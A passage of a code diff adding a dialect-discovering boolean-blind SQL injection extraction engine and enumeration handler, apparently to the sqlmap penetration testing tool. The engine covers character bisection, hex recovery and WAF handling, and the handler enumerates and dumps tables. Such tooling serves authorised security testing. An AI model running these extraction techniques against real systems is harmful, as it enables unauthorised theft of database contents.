+        # read the uppercase-hex byte string of a single source char, digit by
+        # digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip
+        # against the source (decoder order alone is endian-ambiguous: 00 41 is both
+        # UTF-16BE 'A' and UTF-16LE U+4100).
+        hexpr = self.dialect.hexfn[1].format(expr=one)
+        hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES)
+        if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES:
+            return _REPL
+        # bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks
+        # vs up to 16); fall back to an equality scan otherwise
+        if self._hexOrdered is None:
+            self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'"))
+        digits = ""
+        for k in range(1, hlen + 1):
+            nib = self._sub(hexpr, k, 1)
+            if self._hexOrdered:
+                lo, hi = 0, len(_HEXDIGITS) - 1
+                while lo < hi:
+                    mid = (lo + hi) // 2
+                    if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])):
+                        lo = mid + 1
+                    else:
+                        hi = mid
+                # verify: if nib isn't actually this hex digit (WAF/glitch), bail
+                if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])):
+                    return _REPL
+                digits += _HEXDIGITS[lo]
+            else:
+                for hd in _HEXDIGITS:
+                    if self._ask("%s='%s'" % (nib, hd)):
+                        digits += hd
+                        break
+                else:
+                    return _REPL
+        try:
+            raw = _unhexlify(digits)
+        except (TypeError, ValueError, binascii.Error, UnicodeError):
+            return _REPL
+        # generate every single-scalar candidate and pick the one that round-trips
+        # against the source char (resolves the endian ambiguity), preferring the
+        # interleaved-NUL-signalled endianness order first
+        order = []
+        if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00":
+            order += ["utf-16-be", "utf-32-be"]
+        if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00":
+            order += ["utf-16-le", "utf-32-le"]
+        # UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode
+        # backend may hex; each is TRIED only when it round-trips against the source char
+        # (see _exactCharEquals below), so adding codecs can only recover MORE, never
+        # mis-decode. latin-1 stays last (it accepts any single byte).
+        order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be",
+                  "cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"]
+        seen = set()
+        for enc in order:
+            try:
+                dec = raw.decode(enc)
+            except (UnicodeDecodeError, ValueError):
+                continue
+            if dec in seen or not _isSingleUnicodeScalar(dec):
+                continue
+            seen.add(dec)
+            if self._exactCharEquals(one, dec):
+                return dec
+        return _REPL
+
+    def _textable(self, expr):
+        # extraction needs BOTH length and substring to work; length may implicitly
+        # cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)),
+        # so the substring primitive must be probed too. with no length fn, the
+        # substring probe alone is the textability test.
+        length_ok = self.dialect.length is None or self._numDefined(self._len(expr))
+        return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1))
+
+    def _resolveText(self, expr):
+        # if the expression isn't directly substringable (e.g. a numeric/date column on a
+        # strict engine, or PG's `tid`/ctid which has no LENGTH), wrap it in the discovered
+        # text cast. probe-safe: an ERRORING length/substring probe here (LENGTH(tid) does
+        # not exist) means "not directly textable" -> fall through to the cast, never fatal.
+        with self._probePhase():
+            if self._textable(expr):
+                return expr
+            if self.dialect.textcast is not None:
+                casted = self.dialect.textcast[1].format(expr=expr)
+                # use the cast when it makes a NON-NULL value textable; if the value is
+                # currently NULL the cast is STILL correct (LENGTH may not even exist for the
+                # raw type, e.g. PG tid) - returning raw there errors on LENGTH(tid) instead
+                # of yielding a clean is_null, so prefer the cast in the NULL case too
+                if self._textable(casted) or self._ask("(%s) IS NULL" % expr):
+                    return casted
+        return expr
+
+    def coalesce(self, expr, fallback="''"):
+        return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr
+
+    def _concatMany(self, parts):
+        if len(parts) == 1:
+            return parts[0]
+        func = self.dialect.concat.get("variadic") if self.dialect.concat else None
+        if func:                                     # flat CONCAT(a,b,c,...) when variadic
+            return "%s(%s)" % (func, ",".join(parts))
+        out = parts[0]
+        for p in parts[1:]:
+            out = self.dialect.concat[1].format(a=out, b=p)
+        return out
+
+    def buildLiteral(self, value):
+        """Build a SQL string literal for `value`. Prefers CHAR(code)||... from the
+        discovered char-from-code + concat primitives (no quote-escaping pitfalls),
+        for ASCII values; otherwise a doubled-quote literal."""
+        if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value):
+            return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value])
+        return self._lit(value)
+
+    def extract(self, expr, limit=None):
+        return self.extractResult(expr, limit).value
+
+    def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None):
+        """Structured text extraction keeping NULL / empty / truncated / failed
+        distinct - never conflated into one ambiguous ''/None. `codes` restricts the
+        char alphabet (sorted code list) for a big speedup on known-alphabet values."""
+        if self.dialect.prefix is not None and self.dialect.substring is None:
+            return self._likeExtract(expr, limit)      # MAX-CONSTRAINT pattern-match path
+        q0 = self._queries
+        expr = self._resolveText(expr)
+        ceiling = self.maxlen if _ceiling is None else _ceiling
+        length, truncated = self._measureLength(expr, ceiling=ceiling)
+        if length is None:
+            # >=0 was false: either a genuine NULL or the probe itself failed.
+            # PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to
+            # turn every invalid expression into a convincing, "complete" NULL.
+            is_null = self._ask("(%s) IS NULL" % expr)
+            return ExtractResult(None, is_null=is_null, complete=is_null,
+                                 queries=self._queries - q0,
+                                 warnings=[] if is_null else ["length probe failed"])
+        if limit is not None and limit < length:
+            truncated = True                    # a bounded prefix of a longer value
+            length = limit
+        if length == 0:
+            value = ""
+        else:
+            chars = []
+            for i in range(1, length + 1):
+                chars.append(self._readChar(expr, i, codes))
+                self._emitChar("".join(chars), length)      # live progress: user sees it working
+            value = "".join(chars)
+        warns = ["contains unresolved char"] if _REPL in value else []
+        if self.dialect.compare == "equality-ci":
+            warns.append("lossy equality collation: case/accents ambiguous")
+        complete = not truncated and not _hardWarnings(warns)   # soft (case/accent) keeps complete
+        # a length fn can stop at an embedded NUL, yielding a convincing short prefix.
+        # ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the
+        # strongest available comparator (hex > binary wrapper > plain equality); even
+        # plain equality catches a NUL-truncated prefix. recover via hex on mismatch.
+        # (_verify=False on the internal hex-string pull to avoid re-entry.)
+        # escalate to hex when the code/ordinal read is UNTRUSTWORTHY: a complete value that fails
+        # whole-value verify (NUL-truncated / wrong), OR one carrying unresolved chars (_REPL) - a
+        # code fn lossy for this column's type (e.g. Oracle NVARCHAR2 read in code mode) marks
+        # chars outside its alphabet, yet the cast+hex path recovers them cleanly.
+        if _verify and (_REPL in value or (complete and not self._exactEquals(expr, self._lit(value)))):
+            recovered = self._extractViaHex(expr, q0)
+            if recovered is not None:
+                return recovered
+            if complete:                        # verify failed and no hex recovery -> demote
+                complete = False
+                warns.append("whole-value verification failed")
+        # a value can be EXACT only if a BYTE-FAITHFUL witness backs it: plain SQL '=' and
+        # collation/ordinal ordering are collation-dependent (accent/case/width folding), so
+        # without a proven hex/binary witness (or code-mode codepoint reads) the recovered
+        # bytes are NOT provably the source's - downgrade to WHOLE_BUT_AMBIGUOUS, never EXACT.
+        if _verify and value and complete and not self._byteFaithful():
+            warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
+        return ExtractResult(value, complete=complete, truncated=truncated,
+                             queries=self._queries - q0, warnings=warns)
+
+    def _byteFaithful(self):
+        # is a BYTE-EXACT primitive available to certify a recovered value? a proven hex fn or a
+        # binary-compare wrapper is; plain '='/collation is not. Code mode with PROVEN codepoint
+        # semantics reads true code points, so it is faithful on its own.
+        if self.dialect.hexfn is not None:
+            return True
+        if self.dialect.binwrap is not None and self.dialect.binwrap.get("byte_exact"):
+            return True                     # only a PROVEN byte-exact wrapper (accents tested) counts
+        return (self.dialect.compare == "code" and self.dialect.charcode is not None
+                and self.dialect.charcode.get("semantics") == "codepoint")
+
+    def _extractViaHex(self, expr, q0=None):
+        # recover a full text value through strict hex extraction, or None
+        if not self._ensureHexfn():
+            return None
+        q0 = self._queries if q0 is None else q0
+        # route through the text cast, exactly as the framed dump does: a column whose STORAGE
+        # charset differs from the DB charset - e.g. Oracle NVARCHAR2 (UTF-16 national charset) -
+        # hexes to bytes the DB-charset decode garbles; casting to the DB char type first
+        # normalizes it (VARCHAR2 == DB charset), so the decode matches the discovered codec.
+        hexpr = self.dialect.textcast[1].format(expr=expr) if self.dialect.textcast else expr
+        res = self.extractResult(self.dialect.hexfn[1].format(expr=hexpr),
+                                  _ceiling=self.maxbytes * 2, _verify=False)
+        if res.is_null:
+            return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0)
+        if res.value is None or not res.complete or res.truncated or res.warnings:
+            return None
+        enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
+        # UNKNOWN codec + non-ASCII bytes: the TEXT reading is a GUESS (e.g. UTF-8 bytes with an
+        # embedded NUL get heuristically read as UTF-16), so it must NOT be certified exact. Bytes
+        # are faithful (they'd round-trip), but only a PROVEN codec makes the decoded text exact.
+        if enc is None:
+            try:
+                rawb = bytearray(_unhexlify(res.value))
+            except (TypeError, ValueError, binascii.Error, UnicodeError):
+                return None
+            if any(b >= 0x80 for b in rawb):
+                return None                      # non-ASCII under an unproven codec -> not exact
+        dec = self._decodeHexToken(res.value, enc)
+        if dec is None:
+            return None
+        return ExtractResult(dec, complete=True, queries=self._queries - q0,
+                             warnings=["recovered via hex after verification mismatch"])
+
+    def _exactEquals(self, left, right):
+        # whole-value equality that avoids collation/trailing-space lies
+        if self._ensureHexfn():
+            t = self.dialect.hexfn[1]
+            return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right)))
+        if self.dialect.binwrap:
+            t = self.dialect.binwrap[1]
+            return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right)))
+        return self._ask("(%s)=(%s)" % (left, right))
+
+    def extractInteger(self, expr, maximum=None):
+        """Extract a (possibly signed) integer by range-bounded bisection - avoids
+        stringifying and reading digit-by-digit. EVERY numeric decision renders through
+        `_gtNum` (the discovered comparator: gt / BETWEEN / operator-free rung), so it
+        never emits a raw '>='/'<'/'>' discovery did not validate, and an operator-free
+        rung keeps FULL signed range (not the membership magnitude ceiling)."""
+        cap = maximum if maximum is not None else 1 << 62
+        if not self._numDefined(expr):
+            return None
+        if self._comparator == "membership":
+            # no ordered comparator at all: read the non-negative magnitude (counts /
+            # lengths) via the bounded IN/scan window; out-of-range -> overflow.
+            ceil = min(cap, 1 << 16)
+            try:
+                return self._readNum(expr, 0, ceil)
+            except NumericOutOfRange:
+                raise OverflowError("integer exceeds maximum %d" % ceil)
+        # ordered comparator: bracket the value with `expr > n` probes then bisect the
+        # transition. The `high` arg to _gtNum MUST exceed any possible value (BETWEEN renders
+        # `expr BETWEEN n+1 AND high`; using `cap` there made every over-cap positive read as
+        # an empty range -> misclassified NEGATIVE, reporting "below minimum" for an above-max
+        # value). Use HUGE as the range ceiling everywhere; `cap` is only the overflow threshold.
+        HUGE = 1 << 62
+        if self._gtNum(expr, -1, HUGE):                 # expr > -1  <=>  expr >= 0 (any magnitude)
+            if self._gtNum(expr, cap, HUGE):            # expr > cap  -> ABOVE maximum
+                raise OverflowError("integer exceeds maximum %d" % cap)
+            lo, hi = -1, 1
+            while hi < cap and self._gtNum(expr, hi, HUGE):
+                lo, hi = hi, min(hi * 2 + 1, cap)
+        else:                                           # not in [0, HUGE]
+            # BETWEEN's sign test caps at HUGE, so a positive value ABOVE HUGE also lands here.
+            # distinguish it from a genuine negative before reporting a direction (a gt/operator-
+            # free sign test is unbounded, so its else-branch is truly negative and skips this).
+            if self._comparator == "between" and not self._ask("(%s) BETWEEN %d AND %d" % (expr, -HUGE, -1)):
+                raise OverflowError("integer magnitude exceeds representable range (+/-%d), direction unknown" % HUGE)
+            if not self._gtNum(expr, -cap - 1, HUGE):   # expr <= -cap-1 -> BELOW minimum
+                raise OverflowError("integer below minimum -%d" % cap)
+            hi, lo = -1, -2
+            while lo > -cap and not self._gtNum(expr, lo, HUGE):
+                hi, lo = lo, lo * 2
+            lo = max(lo, -cap - 1)
+        # invariant: expr > lo is True, expr > hi is False -> value is the transition in (lo, hi]
+        while hi - lo > 1:
+            mid = (lo + hi) // 2
+            if self._gtNum(expr, mid, HUGE):
+                lo = mid
+            else:
+                hi = mid
+        # FINAL INDEPENDENT CHECK: bisection trusts the comparator, which is only PROVEN on
+        # integer literals - a backend/WAF that honours '>' on literals but rewrites it (e.g. to
+        # '>=') for scalar-subquery / fn / arithmetic operands would converge off-by-one. Confirm
+        # the result with a direct equality against the ACTUAL expression; if it isn't decisively
+        # true the read is invalid -> fail closed (never return a silently-wrong count/length/id).
+        if not self._ask("(%s)=%d" % (expr, hi)):
+            raise OracleUndecided("integer read failed final equality check: (%s) != %d" % (expr, hi))
+        return hi
+
+    def extractBytes(self, expr):
+        """Extract the exact bytes of a string/blob expression via a hex function.
+        Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so
+        whatever compare mode is active reads it cleanly). Returns None if no hex
+        function is available on the target."""
+        if not self._ensureHexfn():
+            return None
+        # hex doubles the length; cap by maxbytes (a char can be several bytes),
+        # not maxlen
+        res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
+                                  _ceiling=self.maxbytes * 2, _verify=False)
+        hexstr = res.value
+        # STRICT: never clean corruption into believable bytes. reject a non-hex
+        # char, odd length, incomplete/truncated pull, or an unresolved marker.
+        if hexstr is None or not res.complete or res.truncated or res.warnings:
+            return None
+        if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr):
+            return None
+        try:
+            raw = _unhexlify(hexstr)
+        except (TypeError, ValueError, binascii.Error, UnicodeError):
+            return None
+        # INDEPENDENT witness: if a byte-length fn was discovered, confirm the recovered byte
+        # count matches it (measured by a DIFFERENT primitive than hex) - so a capped/lossy hex
+        # that silently shortened the value is caught rather than passed off as "the exact bytes".
+        if self.dialect.bytelen is not None:
+            # FAIL CLOSED: once a byte-length witness is selected for certification, an undecided
+            # or mismatched reading means we CANNOT confirm the bytes are whole -> reject, never
+            # treat "couldn't verify" as "matched".
+            try:
+                expected = self.extractInteger(self.dialect.bytelen[1].format(expr=expr))
+            except (OracleUndecided, OverflowError):
+                return None
+            if expected is None or expected != len(raw):
+                return None
+        return raw
+
+    def extractText(self, expr, encoding="utf-8", errors="replace"):
+        """Extract bytes then decode with a caller-chosen encoding - the reliable
+        path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16
+        NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the
+        target has no hex function."""
+        raw = self.extractBytes(expr)
+        if raw is None:
+            return self.extract(expr)
+        return raw.decode(encoding, errors)
+
+    def _likePat(self, prefix_singles, ch, trailing, trailing_multi=False):
+        # build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal char +
+        # `single`*after (+ a trailing multi-wildcard when the value CONTINUES past what we
+        # read - a truncated prefix, from limit< length or length> maxlen). Without that
+        # multi the pattern demands an EXACT length and can't match the longer source -> every
+        # char would come back unresolved. only `ch` may be special, escaped if so.
+        p = self.dialect.prefix
+        multi, single = p.get("multi"), p.get("single")
+        tail = single * trailing + (multi if trailing_multi else "")
+        body = single * prefix_singles
+        if p.name == "GLOB" and ch in (multi, single, "["):
+            return body + "[%s]" % ch + tail, ""    # GLOB escapes via a char class
+        # SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_
+        special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single)
+        if ch in special:
+            return body + "\\" + ch + tail, " ESCAPE '\\'"   # escape via ESCAPE '\'
+        return body + ch.replace("'", "''") + tail, ""
+
+    def _likeIs(self, expr, pattern, esc):
+        return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc))
+
+    def _likeExtract(self, expr, limit=None):
+        p = self.dialect.prefix
+        multi, single = p.get("multi"), p.get("single")
+        q0 = self._queries
+        # NULL vs matches-anything-nonnull
+        if not self._likeIs(expr, multi, ""):
+            is_null = self._ask("(%s) IS NULL" % expr)
+            return ExtractResult(None, is_null=is_null, complete=is_null,
+                                 queries=self._queries - q0,
+                                 warnings=[] if is_null else ["pattern probe failed"])
+        if self._likeIs(expr, "", ""):                 # empty string matches only ''
+            return ExtractResult("", complete=True, queries=self._queries - q0)
+        # length from wildcards: `_`*n + `%` matches iff length >= n. find the
+        # largest n that still matches (keep a known-true lower bound; the exponential
+        # must NOT advance lo past the true region)
+        ge = lambda n: self._likeIs(expr, single * n + multi, "")
+        if self.maxlen < 1:                             # capped to nothing: non-empty but unread
+            return ExtractResult("", complete=False, truncated=True,
+                                 queries=self._queries - q0,
+                                 warnings=["maxlen<1: value not read"])
+        hi = 1
+        while hi < self.maxlen and ge(hi):
+            hi = min(hi * 2, self.maxlen)
+        lo = 1                                          # ge(1) is true (non-empty)
+        while lo < hi:
+            mid = (lo + hi + 1) // 2
+            lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1)
+        length = lo
+        # truncated ONLY if a char exists past the cap (ge(maxlen+1)); an exactly-maxlen
+        # value is COMPLETE - the old `ge(maxlen)` test flagged every capped value truncated
+        truncated = length >= self.maxlen and ge(self.maxlen + 1)
+        if limit is not None and limit < length:
+            truncated, length = True, limit
+        out = []
+        for i in range(length):
+            hit = None
+            for c in _FREQ_ORDER:
+                # trailing multi-wildcard when the value continues past `length` (truncated
+                # prefix), so the pattern matches the longer source instead of demanding exact len
+                pat, esc = self._likePat(i, c, length - i - 1, trailing_multi=truncated)
+                if self._likeIs(expr, pat, esc):
+                    hit = c
+                    break
+            out.append(hit if hit is not None else _REPL)
+        value = "".join(out)
+        warns = ["contains unresolved char"] if _REPL in value else []
+        if p.get("case_insensitive"):
+            warns.append("LIKE is case-insensitive: letter case may be ambiguous")
+        return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
+                             truncated=truncated, queries=self._queries - q0, warnings=warns)
+
+    @staticmethod
+    def _decodeHexToken(token, encoding=None):
+        if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token):
+            return None                          # strict: don't clean corruption
+        try:
+            raw = _unhexlify(token)
+        except (TypeError, ValueError, binascii.Error, UnicodeError):
+            return None
+        if encoding:
+            # a PROVEN codec is authoritative: if the bytes don't decode under it, that is a
+            # FAILURE (return None -> token dropped, result marked incomplete), NOT licence to
+            # reinterpret them as some other codec (00 D8 is an invalid UTF-16LE lone surrogate,
+            # but a valid UTF-16BE 'O with stroke' - guessing again would silently corrupt).
+            try:
+                return raw.decode(encoding, "strict")
+            except (UnicodeDecodeError, LookupError):
+                return None
+        # UNKNOWN codec + an embedded NUL is genuinely AMBIGUOUS: bytes `41 00` are valid UTF-8
+        # ("A" + NUL) AND valid UTF-16LE ("A"), and no primitive lied - with no proven codec
+        # either reading could be right, so neither is exact. Refuse (drop the token -> the caller
+        # falls back to per-char extraction, which round-trips each char against the source).
+        if b"\x00" in raw:
+            return None
+        # no NUL and no proven codec: a best-effort DISPLAY decode (exactness of any non-ASCII
+        # result is gated separately - the dump downgrades non-ASCII under an unknown codec, and
+        # scalar hex recovery refuses to certify unknown-codec non-ASCII bytes).
+        for enc in ("utf-8", "latin-1"):
+            try:
+                return raw.decode(enc)
+            except (UnicodeDecodeError, ValueError):
+                continue
+        return raw.decode("latin-1", "replace")

extra/esperanto/handler.py

@@ -0,0 +1,293 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from .engine import Esperanto
+from .records import OracleUndecided
+
+
+def _sanitize(s):
+    """Escape C0/DEL/C1 control bytes in recovered DB content before it is logged - a stored
+    value can carry ANSI/OSC sequences that would otherwise drive or forge the sqlmap console."""
+    if not isinstance(s, type(u"")):
+        return s
+    return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
+
+
+def buildHandler():
+    """Build the sqlmap dbmsHandler that drives enumeration through this engine when
+    the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are
+    deferred here so the engine above stays dependency-free for standalone use.
+
+    The user still commands *what* to retrieve (--banner / --tables / --dump / ...);
+    esperanto only works out *how* on a dialect it discovers from scratch, and every
+    probe rides sqlmap's own boolean inference (request / comparison / WAF stack)."""
+    from lib.core.data import conf
+    from lib.core.data import kb
+    from lib.core.data import logger
+    from lib.core.enums import CHARSET_TYPE
+    from lib.core.enums import EXPECTED
+    from lib.core.exception import SqlmapDataException
+    from lib.core.exception import SqlmapUnsupportedFeatureException
+    from lib.request.inject import checkBooleanExpression
+    from lib.request.inject import getValue
+    from plugins.generic.enumeration import Enumeration
+    from plugins.generic.misc import Miscellaneous
+
+    # boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a
+    # reflective target that filters out the reflected marker can't defeat it
+    def _blindOracle(condition):
+        return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY,
+                        suppressOutput=True, union=False, error=False, time=False)
+
+    class _EsperantoHandler(Enumeration, Miscellaneous):
+        def __init__(self):
+            Enumeration.__init__(self)
+            Miscellaneous.__init__(self)
+            self._esp = None
+            self._notesLogged = 0       # how many dialect.notes already surfaced (see _flushNotes)
+            self._identCache = {}       # current user/db: fetch (and announce) once
+            self._colCache = {}         # (db, table) -> ordered column names, so a dump
+                                        # reuses what --columns already enumerated
+            self._scopeCache = {}       # table -> resolved schema (see _scopeFor)
+
+        def __getattr__(self, name):
+            # this handler only mixes in Enumeration/Miscellaneous (read-only, boolean-oracle
+            # extraction); any DBMS-specific capability (--os-*/--file-*/--sql-shell/--udf-*/--reg-*/
+            # --cleanup) has no generic equivalent - fail cleanly instead of an AttributeError deep
+            # in action(). Leading underscore excluded so internal/dunder lookups behave normally.
+            if name.startswith("_"):
+                raise AttributeError(name)
+            raise SqlmapUnsupportedFeatureException("Esperanto does not support '%s' (DBMS-agnostic engine covers enumeration/dump only)" % name)
+
+        def _engine(self):
+            if self._esp is None:
+                # esperanto is a PURE boolean-oracle engine: every probe is one true/false
+                # question, so it gains nothing from UNION/error inband extraction - while
+                # those need a concatenated marker whose generic form is CONCAT() when the
+                # backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/
+                # Firebird/Oracle (they use ||) so every such probe errors. so PREFER the
+                # boolean-blind technique: no marker, no concatenation, whole-page true/false,
+                # works everywhere. only fall back to whatever-technique-is-available if the
+                # target has no usable boolean-blind vector. _ask decides what an undecidable
+                # probe MEANS by context (skip a candidate rung vs degrade a data read loudly).
+                esp = Esperanto(_blindOracle, retries=2)
+                logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)")
+                try:
+                    esp.discover()
+                except RuntimeError:
+                    # no usable boolean-blind vector on this target - retry with any technique
+                    # sqlmap detected (UNION/error/time); may hit the CONCAT limitation above
+                    esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2)
+                    logger.info("Esperanto retrying discovery via any available inference technique")
+                    try:
+                        esp.discover()
+                    except RuntimeError as ex:
+                        # genuinely unusable (unstable target, or no substring/pattern
+                        # primitive) - stop cleanly instead of surfacing an internal traceback
+                        raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex)
+                logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown"))
+                esp._progress = lambda value: logger.info("retrieved: %s" % _sanitize(value))  # live feedback (sanitized)
+                self._esp = esp
+                self._notesLogged = 0
+                self._flushNotes()                      # discovery-time notes
+            return self._esp
+
+        def _flushNotes(self):
+            # surface degradation notes LOUDLY as they accrue. Enumeration/dump append notes
+            # AFTER discovery, so logging once would hide every runtime degradation (incomplete
+            # listing, truncation, blocked paging) - flush the NEW ones after each operation.
+            notes = self._esp.dialect.notes if self._esp else []
+            for note in notes[self._notesLogged:]:
+                logger.warning("Esperanto: %s" % note)
+            self._notesLogged = len(notes)
+
+        def _scopeDb(self):
+            # the database to scope table/column lookups to: -D if given, else the
+            # current one. WITHOUT this, a same-named table in another schema (e.g.
+            # information_schema.USERS vs shop.users) merges columns and breaks dump.
+            return conf.db or self.getCurrentDb()
+
+        def _scopeFor(self, table):
+            # scope for a SPECIFIC table: -D wins; else the current schema IF the table
+            # is there; else the schema the table actually lives in (PG-family: tables
+            # often sit in 'public' while current_schema is the login user's own schema).
+            if conf.db:
+                return conf.db
+            if table in self._scopeCache:
+                return self._scopeCache[table]
+            esp = self._engine()
+            cur = self.getCurrentDb()
+            scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur)
+            self._scopeCache[table] = scope
+            return scope
+
+        def _db(self):
+            return self._scopeDb() or "<current>"
+
+        def getFingerprint(self):
+            # concise fingerprint only; the version banner is shown for --banner, not
+            # printed unbidden on every run (and not re-extracted here)
+            product = self._engine().identify().get("product") or "unknown"
+            return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product
+
+        def getBanner(self):
+            # the ONLY path that blind-reads the full version string (expensive); the
+            # fingerprint/product naming never does
+            logger.info("fetching banner")
+            kb.data.banner = self._engine().banner()
+            return kb.data.banner
+
+        def getCurrentUser(self):
+            if "user" not in self._identCache:
+                expr = self._engine().dialect.identity.get("user")
+                if expr:
+                    logger.info("fetching current user")
+                self._identCache["user"] = self._safeExtract(expr) if expr else None
+            kb.data.currentUser = self._identCache["user"]
+            return kb.data.currentUser
+
+        def getCurrentDb(self):
+            # called repeatedly to scope tables/columns/dump -> fetch and announce once
+            if "db" not in self._identCache:
+                expr = self._engine().dialect.identity.get("database")
+                if expr:
+                    logger.info("fetching current database")
+                self._identCache["db"] = self._safeExtract(expr) if expr else None
+            kb.data.currentDb = self._identCache["db"]
+            return kb.data.currentDb
+
+        def _safeExtract(self, expr):
+            # current user/db are used as SQL QUALIFIERS + cache keys + scoping decisions, so
+            # they must be EXACT - a truncated/case-ambiguous value here becomes wrong SQL.
+            try:
+                res = self._esp.extractResult(expr)
+            except OracleUndecided:
+                logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr)
+                return None
+            if res.value is not None and not res.exact:
+                logger.warning("Esperanto: %s not recovered exactly (%s) - not used for scoping" % (expr, res.integrity))
+                return None
+            return res.value
+
+        def isDba(self, user=None):
+            # UNKNOWN, not a negative claim: Esperanto has no generic DBA probe, so returning
+            # False would assert "not a DBA" on no evidence. Report it can't tell and return
+            # None (unknown) so a transient can't be read as a proven privilege verdict.
+            logger.warning("Esperanto cannot determine DBA status (no generic privilege probe)")
+            kb.data.isDba = None
+            return kb.data.isDba
+
+        def getDbs(self):
+            logger.info("fetching database names")
+            kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or []
+            self._flushNotes()
+            return kb.data.cachedDbs
+
+        def getTables(self, bruteForce=None):
+            # scope to the requested database (-D) or the current one, so the listing
+            # isn't polluted with every schema's tables (e.g. information_schema)
+            db = conf.db or self.getCurrentDb()
+            lim = conf.limitStop or 100
+            names = self._engine().enumerate("table", limit=lim, schema=db) or []
+            if not names and not conf.db and db != "public":
+                # current schema empty (PG-family: login-user schema) -> tables usually
+                # live in 'public'; broaden rather than report nothing
+                pub = self._engine().enumerate("table", limit=lim, schema="public") or []
+                if pub:
+                    names, db = pub, "public"
+            infoMsg = "fetching tables"
+            if db:
+                infoMsg += " for database '%s'" % db
+            logger.info(infoMsg)
+            kb.data.cachedTables = {db or "<current>": names}
+            self._flushNotes()
+            return kb.data.cachedTables
+
+        def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
+            if not conf.tbl:
+                logger.error("Esperanto needs a table (-T) to enumerate columns")
+                return {}
+            db = self._scopeFor(conf.tbl)
+            infoMsg = "fetching columns for table '%s'" % conf.tbl
+            if db:
+                infoMsg += " in database '%s'" % db
+            logger.info(infoMsg)
+            names = self._engine().columns(conf.tbl, schema=db) or []
+            self._colCache[(db, conf.tbl)] = names       # let a following dump reuse these
+            kb.data.cachedColumns = {db or "<current>": {conf.tbl: dict((n, None) for n in names)}}
+            self._flushNotes()
+            return kb.data.cachedColumns
+
+        def getSchema(self):
+            esp = self._engine()
+            # use the EFFECTIVE db that getTables() actually resolved (it may have broadened to
+            # 'public' when the current schema was empty) - recomputing _db() here would miss
+            # that and look columns up in the wrong (empty) schema.
+            tabmap = self.getTables()
+            effdb, tables = next(iter(tabmap.items()), ("<current>", []))
+            colscope = self._scopeDb() if effdb == "<current>" else effdb
+            schema = {}
+            for table in (tables or []):
+                schema[table] = dict((n, None) for n in (esp.columns(table, schema=colscope) or []))
+            kb.data.cachedColumns = {effdb: schema}
+            self._flushNotes()
+            return kb.data.cachedColumns
+
+        def dumpTable(self, foundData=None):
+            if not conf.tbl:
+                logger.error("Esperanto needs a table (-T) to dump")
+                return
+            db = self._scopeFor(conf.tbl)
+            cols = [c.strip() for c in conf.col.split(",")] if conf.col else None
+            if cols is None:
+                cols = self._colCache.get((db, conf.tbl))    # reuse --columns' result; don't re-walk
+            infoMsg = "fetching entries"
+            if cols:
+                infoMsg += " of column(s) '%s'" % ", ".join(cols)
+            infoMsg += " for table '%s'" % conf.tbl
+            if db:
+                infoMsg += " in database '%s'" % db
+            logger.info(infoMsg)
+            # sqlmap row-SELECTORS change WHICH rows come back, so REFUSE (don't silently return
+            # different data): --where filters, --start offsets. --stop is honored as a row cap.
+            if getattr(conf, "dumpWhere", None):
